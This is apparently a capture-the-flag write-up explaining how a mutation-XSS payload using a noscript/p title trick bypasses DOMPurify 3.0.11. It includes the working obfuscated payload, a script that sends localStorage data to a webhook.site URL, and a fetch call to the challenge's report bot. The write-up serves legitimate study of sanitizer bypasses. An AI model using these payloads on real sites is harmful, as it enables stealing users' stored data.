DoMpUrIfIeD

Posted on Apr 11, 2024

This challenge was available at http://6b.vc:9006. Its source was available: dompurified.tar.gz

This one was a bit thougher than the rest, because the input is sanitized by DOMPurify

function updateSearch() {
    const searchTerm = searchInput.value.trim();
    if (searchTerm) {
        const clean = DOMPurify.sanitize(searchTerm);
        searching.innerHTML = `<div class="text-center text-gray-500" data-content="${clean}">Searching for "${clean}"...</div>`;
        (...)
    } else {
        searching.innerHTML = '';
        displayComments(comments);
        window.history.pushState({}, '', window.location.pathname);
    }
}

The first step was to look at the DOMPurify version, which was 3.0.11. It was unfortunately not outdated.

I looked a bit at how DOMPurify, and remembered an XSS I saw against Google, called a Mutation XSS. The payload looks like this:

<noscript><p title="</noscript><img src=x onerror=code_here>">

Basically, DOMPurify uses the browser’s parsing engine to strip XSS content. It places everything in a template tag, which does not display or execute anything, and then strip anything dangerous from there. However, since the template element does not execute scripts, the noscript tag will be interpreted and parsed differently.

In the template element, DOMPurify will see:

<noscript>
    <p title="</noscript><img src=x onerror=code_here>"></p>
</noscript>

It won’t see any script, and will not remove the malicious code. However, when placed outside of a template element, the browser will see something like:

<noscript>&lt;p title="</noscript>

<img src=x onerror=code_here>
""&gt;

And will then execute the malicious code. Please see the original article for more details.

const code = `location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(localStorage.flag))`
const payload = `<noscript><p title="</noscript><img src=x onerror=eval(atob('${btoa(code)}'))>">`
console.log(`http://6b.vc:9006/?search=${encodeURIComponent(payload)}`)

Solution

The following link will make the bot send us the flag.

http://localhost:9006/?search=%3Cnoscript%3E%3Cp%20title%3D%22%3C%2Fnoscript%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%3E%22%3E

We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.

fetch("/report?url="+encodeURIComponent("http://localhost:9006/?search=%3Cnoscript%3E%3Cp%20title%3D%22%3C%2Fnoscript%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%3E%22%3E"))

We receive the flag on the webhook:

flag{I_think_its_also_called_mutation_xss_when_you_bypass_a_sanitizer_by_being_in_another_context_but_unsure}